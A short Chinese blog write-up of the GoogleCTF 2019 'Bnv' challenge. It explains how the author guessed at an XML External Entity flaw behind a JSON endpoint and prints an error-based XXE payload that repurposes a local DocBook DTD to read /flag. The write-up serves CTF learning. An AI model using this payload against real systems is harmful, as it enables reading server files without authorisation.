[GoogleCTF2019 Quals]Bnv(本地DTD文件与XXE学习)

原创

已于 2022-08-19 01:56:35 修改 · 463 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#buu

于 2022-08-17 16:46:42 首次发布

这篇博客探讨了如何通过XML External Entity (XXE) 漏洞来尝试访问和利用本地DTD文件。作者列举了不同操作系统和特定软件中可能存在的DTD文件路径，并详细介绍了构造XXE payload的步骤，旨在揭示系统敏感信息或获取权限。

在这里插入图片描述
首先看到的就是最上面的那个盲文，不知道啥意思

然后扫了下敏感目录也没什么发现，只注意到这里的 json数据

有 json的地方就有可能有 XXE

试了下就最基本的XXE方法和远程的XXE无回显注入，都不行，看了题解知道的这个方法

---------------利用XXE与本地DTD文件----------------

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
	<!ENTITY &#x25; file SYSTEM "file:///flag">
	<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
	&#x25;eval;
	&#x25;error;
'>
%local_dtd;
]